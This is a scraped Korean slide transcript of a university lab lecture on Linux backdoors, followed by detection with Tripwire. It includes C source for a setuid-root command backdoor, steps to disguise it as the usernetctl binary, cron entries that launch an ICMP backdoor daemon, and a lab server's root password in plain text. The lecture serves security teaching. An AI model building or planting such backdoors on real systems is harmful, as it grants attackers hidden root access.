Chapter 6. 리눅스 백도어 황 선 환.

Slides:



Advertisements
Similar presentations
- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진.
Advertisements

7 장. 원격지에서 리눅스서버를 관리하자. 텔넷서버를 설치 / 운영한다. SSH 서버를 운영한다. VNC 서버를 설치 / 운영한다.
HTTPS Packet Capture Tutorial

정보 보안 개론과 실습 네트워크 해킹과 보안 3부 해킹 전 정보 획득 Chapter 10. 목록화.
학습목표 학습목표 본 장은 상용으로 널리 쓰이는 MS-SQL SERVER 2000의 주요 기능과 설치과정, 주요 구성요소인 서비스 관리자, 엔터프라이즈관리자, 쿼리분석기 등을 이용한 기본적인 SQL-SERVER 사용법에 대해 공부한다.
DNS(Domain Name System)
1장 리눅스의 기본 개념과 프로그램 작성 리눅스의 기본 개념 시스템에 접속하기 리눅스의 프로그래밍 환경
Database Laboratory, Hong Ik University
극동대학교 전자결재 구축 그룹웨어 결재자 교육.
6 레이스 컨디션.
시스템 보안 SetUID 구창민 조기웅.
1장. 이것이 C 언어다.. 1장. 이것이 C 언어다. 프로그래밍 언어 1-1 C 언어의 개론적 이야기 한글, 엑셀, 게임 등의 프로그램을 만들 때 사용하는 언어 ‘컴퓨터 프로그래머’라는 사람들이 제작 C 언어(C++ 포함)를 가장 많이 사용함.
툴 설치 가이드 Design Compiler SynopsysMentor.
Samba And VNC.
6 프로세스 생성과 실행.
Vsftpd 를 이용한 FTP service 와 samba 서버 구축
Inetd Daemon의 이용 VLSI 석사 3학기 고재현.
레이스 컨디션.
4 Whois와 DNS 조사.
OpenVPN KISEC 44th.
임베디드 시스템 개론 크로스 플랫폼 설치 2일차 강의 자료 Embedded System Lab.
윤성우의 열혈 C 프로그래밍 윤성우 저 열혈강의 C 프로그래밍 개정판 Chapter 02. 프로그램의 기본구성.
12장 파이프.
시스템 보안 백 도 어 학번: 이름: 김 준 일.
Chapter 7. RAS(전화접속,VPN) & IAS
8장. 원격지 시스템 관리하기.
Root Filesystem Porting
프로세스 생성[1] 프로그램 실행 : system(3) #include <stdlib.h>
Root Filesystem Porting
Homework 6… 12월 2일(금) 11:59pm까지 자신의 이름과 학번을 출력해 주는 유닉스/리눅스 네트워크 소켓 서버 프로그램 과 클라이언트 프로그램 을 작성해 보세요 참고 (실습1) Hello 프로그램 helloserver.c helloclient.c 컴파일.
NJM Messenger 박상원 박연호.
9 백도어.
                              데이터베이스 프로그래밍 (소프트웨어 개발 트랙)                               퍼스널 오라클 9i 인스톨.
01. DHCP의 개념 조직의 네트워크에 연결되어 있는 워크스테이션의 TCP/IP 설정을 자동화하기 위한 표준 프로토콜
메시지 큐[5] – test1.c 메시지 제어: msgctl(2) #include <sys/msg.h>
Cross Compiler 설치.
속성과 리스너 초기화 파라미터 외 파라미터에 대해 이해한다. 리스너를 생성해보고 사용에 대해 이해한다.
Neo-plus2 서버 및 클라이언트 설정 방법
시스템 인터페이스 Lab3 Unix 사용법 실습.
이름 : 황 상 두 전화번호 : 이메일 : PinTool 이름 : 황 상 두 전화번호 : 이메일 :
홀인원2.0 설치 메뉴얼.
인터넷보안 실습 2012년 1학기.
툴 설치 가이드 PrimeTime SynopsysMentor.
Linux/UNIX Programming
Nessus 4 설치 정보보호응용 조용준.
PC에 설치된 엔드포인트 클라이언트 프로그램을 클릭하여 프로그램 상자를 엽니다
(개정판) 뇌를 자극하는 Red Hat Fedora 리눅스 서버 & 네트워크
8장 쿠키와 세션 한빛미디어(주).
오라클 넷(Oracle Net)의 개념 및 구성
네트워크 환경 구축과 이미지 전송 호스트/타겟 통신 직렬 통신을 이용한 이미지 전송 수퍼 데몬 BOOTP 환경 구축
01. DHCP의 개념 조직의 네트워크에 연결되어 있는 워크스테이션의 TCP/IP 설정을 자동화하기 위한 표준 프로토콜
웹(WWW).
Execution with Unnecessary Privileges
3. 모듈 (5장. 모듈).
세션에 대해 알아보고 HttpSession 에 대해 이해한다 세션 관리에 사용되는 요소들을 살펴본다
시스템 인터페이스 Lab1 X-window 및 명령어 사용.
실습과제 1번 생성된 파일 basic.txt를 프로젝트 폴더에서 메모장으로 열고 내용을 확인
프로그래밍 언어 학습을 위한 가상실습환경 창원대학교 이수현.
과제 4: Thread (5월 9일까지) 4장 연습문제 풀이
argc, argv 의 사용방법 #include <stdio.h>
FTP 스캔 설정 방법 강사 : 이성휘 대리.
Network Lab. Young-Chul Hwang
Git을 이용한 버전 관리 - Branch 실습
C.
숙제 작성 및 제출 과정 김진하 2008/03/14.
엑셀 리포트를 웹 클라이언트에서 사용시 설정 방법
한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영
시스템 해킹과 보안 permission과 SetUID.
관리자 페이지에서 관리자 승인 1. 정기권 신규고객 1. 로그인 화면 2. 차량등록여부 확인 3. 개인정보 활용 동의
Presentation transcript:

Chapter 6. 리눅스 백도어 황 선 환

목 차 SetUID 형 로컬 백도어 설치 및 이용 ICMP 백도어 Cron 백도어 백도어 탐지 목 차 SetUID 형 로컬 백도어 설치 및 이용 ICMP 백도어 Cron 백도어 백도어 탐지 Tripwire를 이용한 백도어 탐지

리눅스 백도어 리눅스 시스템 접속 bisdn 계정 주소 : bisdn1.kiu.ac.kr Root 계정 ID : root PW : bisdn1 bisdn 계정 ID : bisdn

SetUID 형 로컬 백도어 설치 및 이용 백도어의 생성 #include <stdio.h>     #include <stdio.h>    main (int argc, char *argv[]){         char exec[100];            setuid (0);         setgid (0);         sprintf (exec, "%s 2>/dev/null ", argv[1]);         system (exec);    }

SetUID 형 로컬 백도어 설치 및 이용 백도어의 생성 gcc –o backdoor backdoor.c chmod 4755 backdoor

SetUID 형 로컬 백도어 설치 및 이용 백도어의 동작 Id ./backdoor “id” uid=500(bisdn) gid=500(bisdn) groups=500(bisdn) ./backdoor “id” uid=0(root) gid=0(root) groups=500(bisdn)

SetUID 형 로컬 백도어 설치 및 이용 백도어의 설치 시스템 내부에서 SetUID 비트를 가진 파일 검색

SetUID 형 로컬 백도어 설치 및 이용 백도어의 설치 시스템 내부에서 SetUID 비트를 가진 파일 선택 백도어의 수정 Printf (“usage: usernetctl <interface-config> <up|down|report>\n”);

SetUID 형 로컬 백도어 설치 및 이용 백도어의 설치 백도어와 원래 파일과 바꾸기, 백도어의 사용

리눅스 백도어 데몬에 대한 로그인 시 권한 부여

ICMP 백도어 ICMP 서버와 클라이언트 컴파일 ICMP 백도어 구동

ICMP 백도어 ICMP 클라이언트를 이용한 접속

ICMP 백도어 패킷 분석 tcpdump host bisdn1.kiu.ac.kr

ICMP 백도어 ICMP 패킷 분석 윈도우 2000 Ping 레드헷 9.0 Ping

Cron 백도어 Cron 데몬 이해하기 Cron 데몬은 /etc/crontab의 내용에 따라 주기적으로 프로그램을 실행하거나 중지한다. vi /etc/crontab 02 4 * * * root run-parts /etc/cron daily

Cron 백도어 Cron 데몬 값 범위 Cron 데몬 값 설정(ish 백도어) 0 4 * * * ./ishd –I 65000 0 5 * * * pkill –U root ishd 필드 사용할 수 있는 값 분 0에서 59 시 0에서 23 날짜 0에서 31 달 0에서 12 :  달 이름 사용 가능 요일 0 또는 7 : 일요일, 요일 이름을 사용 가능

백도어 탐지 프로세스 확인 열린 포트 확인

백도어 탐지 SetUID 파일 검사 백도어 탐지 툴의 이용 무결성 검사

백도어 탐지 – Tripwire 설치하기 rpm –q tripwire rpm –Uvh tripwire-2.3.1.-17.i386.rpm /usr/sbin/tripwire

백도어 탐지 – Tripwire Tripwire 초기화 /etc/twinstall.sh

백도어 탐지 – Tripwire Tripwire 설정 cat /etc/tripwire/twcfg.txt

백도어 탐지 – Tripwire Tripwire 설정 cat /etc/tripwire/twpol.txt

/var/lib/tripwire/report Tripwire --check Twprint --m r --twrfile [보고서 파일.twr] 저장 경로 /var/lib/tripwire/report

질의 및 응답. 수고하셨습니다.